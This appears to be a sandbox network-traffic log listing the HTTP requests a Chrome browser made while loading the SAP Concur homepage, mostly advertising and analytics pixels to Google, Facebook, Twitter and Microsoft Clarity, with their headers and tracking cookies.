Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1044530512/?random=1727944905048&cv=11&fst=1727942400000&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=3&is_vtc=1&cid=CAQSKQDpaXnfC3lCSSLrp-wNU3-oUk9k4F-BeqAgMZbNS3Gc-HyquubY0xRb&random=3252678060&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1044530512/?random=1727944905159&cv=11&fst=1727944905159&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=c068dcfd-ca1b-491a-8c12-33e5c436e420&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=35f5ea9a-2b64-46ef-9328-87b356563b44&tw_document_href=https%3A%2F%2Fwww.concur.com%2F&tw_iframe_status=0&txn_id=nvbph&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: guest_id_marketing=v1%3A172794491125204342; guest_id_ads=v1%3A172794491125204342; personalization_id="v1_8OwqYlkOT3jiFtzo0NvzoA=="; guest_id=v1%3A172794491125204342
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=c068dcfd-ca1b-491a-8c12-33e5c436e420&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=35f5ea9a-2b64-46ef-9328-87b356563b44&tw_document_href=https%3A%2F%2Fwww.concur.com%2F&tw_iframe_status=0&txn_id=nvbph&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=cecb88c4-bb7d-4fe4-9dba-ee8d59f15b18; __cf_bm=BFv_ForSJcfAbss_Hy4wC3j2RAQsBsY.JYi5luEA.jY-1727944911-1.0.1.1-Ssl0SqWkzDq_qtHHQs6i8lTfwjcGYIZL64kpexU2kkt_uz9BbANQP7UOb8SB5JcZeTSuNXbSLzMmzSLRhyqZ_w
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/1044530512/?random=424067382&cv=11&fst=1727944905179&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&label=Ly-YCJ_d_50DENCKifID&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&gtm_ee=1&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgiQybECIgEBQAFKLG5vdC1uYXZpZ2F0aW9uLXNvdXJjZSwgdHJpZ2dlciwgZXZlbnQtc291cmNlYgQKAgID&pscrd=CPqmueeN55uWwgEiEwiI-a206PGIAxXesYMHHdrcKqYyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6F2h0dHBzOi8vd3d3LmNvbmN1ci5jb20vQlZDaEFJOElINXR3WVFqN1NiazhiOG9fVWxFaXdBNHAyTDljd25pekp1X3hqZ2xtYWdCVVlHOG9PREJVaVpubzl2V2pfVXVoM3NvMEE0UkdDVTlDdVdVZw HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1044530512/?random=1727944905089&cv=11&fst=1727942400000&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view&rfmt=3&fmt=3&is_vtc=1&cid=CAQSKQDpaXnfJU2oHuJdG1oNOEBATmng-WvAVWki2rUD825XjfS8FS_VSHK0&random=1934586381&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=908266409244597&ev=PageView&dl=https%3A%2F%2Fwww.concur.com&rl=&if=false&ts=1727944906574&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4124&fbp=fb.1.1727944906571.511679254409708929&pm=1&hrl=e5f988&ler=empty&cdl=API_unavailable&it=1727944903152&coo=false&cs_cc=1&ccs=571787340739145%2C948429725587856&cas=7680814775312176%2C5990791997670507%2C5444333155657076%2C4147273351962304&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1044530512/?random=1727944905118&cv=11&fst=1727942400000&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=3&is_vtc=1&cid=CAQSKQDpaXnfKqPDdwJzg4dh7oDlzs7m0YOqrljl9X_IdvcIk27veLq2H2So&random=2636304772&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=908266409244597&ev=PageView&dl=https%3A%2F%2Fwww.concur.com&rl=&if=false&ts=1727944906574&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4124&fbp=fb.1.1727944906571.511679254409708929&pm=1&hrl=e5f988&ler=empty&cdl=API_unavailable&it=1727944903152&coo=false&cs_cc=1&ccs=571787340739145%2C948429725587856&cas=7680814775312176%2C5990791997670507%2C5444333155657076%2C4147273351962304&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1044530512/?random=1727944905159&cv=11&fst=1727942400000&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=3&is_vtc=1&cid=CAQSKQDpaXnfXTan67wcwRV4Tj2_QFBcDzH32-8FQvROHAEbNaf1mw6-X8o1&random=3607951936&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/uet/5284202 HTTP/1.1Host: www.clarity.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/1044530512/?random=885629817&cv=11&fst=1727944905140&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&label=PRHXCJzd_50DENCKifID&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&gtm_ee=1&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgiRybECIgEBQAFKLGV2ZW50LXNvdXJjZSwgdHJpZ2dlciwgbm90LW5hdmlnYXRpb24tc291cmNlYgQKAgID&pscrd=CPD14LLlmsOuTCITCJD96bPo8YgDFeyIgwcdzfw5YzICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLMgIIFTICCB8yAggTMgIIEjoXaHR0cHM6Ly93d3cuY29uY3VyLmNvbS9CVkNoQUk4SUg1dHdZUWo3U2JrOGI4b19VbEVpd0E0cDJMOVplVXFLZXBTR25HUTZvNHlwZDRBNFBaVlpCM1Y4WWg5cnFTMGhhYkJkVExrcXh3QUdfMkJB&is_vtc=1&cid=CAQSKQDpaXnfxXFLe6GllwRhWIRAfEWGDyzI3JktewLPK2eYWGTun_NbyP_9&random=3058500015 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1044530512/?random=1727944905048&cv=11&fst=1727942400000&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=3&is_vtc=1&cid=CAQSKQDpaXnfC3lCSSLrp-wNU3-oUk9k4F-BeqAgMZbNS3Gc-HyquubY0xRb&random=3252678060&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/1044530512/?random=424067382&cv=11&fst=1727944905179&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&label=Ly-YCJ_d_50DENCKifID&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&gtm_ee=1&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgiQybECIgEBQAFKLG5vdC1uYXZpZ2F0aW9uLXNvdXJjZSwgdHJpZ2dlciwgZXZlbnQtc291cmNlYgQKAgID&pscrd=CPqmueeN55uWwgEiEwiI-a206PGIAxXesYMHHdrcKqYyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6F2h0dHBzOi8vd3d3LmNvbmN1ci5jb20vQlZDaEFJOElINXR3WVFqN1NiazhiOG9fVWxFaXdBNHAyTDljd25pekp1X3hqZ2xtYWdCVVlHOG9PREJVaVpubzl2V2pfVXVoM3NvMEE0UkdDVTlDdVdVZw&is_vtc=1&cid=CAQSKQDpaXnfXJslnxHCpKDHXBHzz3lHk4lg04CzSyavFOzzurGv_msYHizp&random=1292975515 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1044530512/?random=1727944905089&cv=11&fst=1727942400000&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view&rfmt=3&fmt=3&is_vtc=1&cid=CAQSKQDpaXnfJU2oHuJdG1oNOEBATmng-WvAVWki2rUD825XjfS8FS_VSHK0&random=1934586381&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/uet/5284202 HTTP/1.1Host: www.clarity.msConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CLID=74cbd1bf2ff44bf68b25c4b6a307502b.20241003.20251003
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/1044530512/?random=1727944905159&cv=11&fst=1727942400000&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config&rfmt=3&fmt=3&is_vtc=1&cid=CAQSKQDpaXnfXTan67wcwRV4Tj2_QFBcDzH32-8FQvROHAEbNaf1mw6-X8o1&random=3607951936&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/0.7.47/clarity.js HTTP/1.1Host: www.clarity.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.concur.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CLID=74cbd1bf2ff44bf68b25c4b6a307502b.20241003.20251003
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/1044530512/?random=885629817&cv=11&fst=1727944905140&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&label=PRHXCJzd_50DENCKifID&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&gtm_ee=1&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=event%3Dconversion&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgiRybECIgEBQAFKLGV2ZW50LXNvdXJjZSwgdHJpZ2dlciwgbm90LW5hdmlnYXRpb24tc291cmNlYgQKAgID&pscrd=CPD14LLlmsOuTCITCJD96bPo8YgDFeyIgwcdzfw5YzICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLMgIIFTICCB8yAggTMgIIEjoXaHR0cHM6Ly93d3cuY29uY3VyLmNvbS9CVkNoQUk4SUg1dHdZUWo3U2JrOGI4b19VbEVpd0E0cDJMOVplVXFLZXBTR25HUTZvNHlwZDRBNFBaVlpCM1Y4WWg5cnFTMGhhYkJkVExrcXh3QUdfMkJB&is_vtc=1&cid=CAQSKQDpaXnfxXFLe6GllwRhWIRAfEWGDyzI3JktewLPK2eYWGTun_NbyP_9&random=3058500015 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
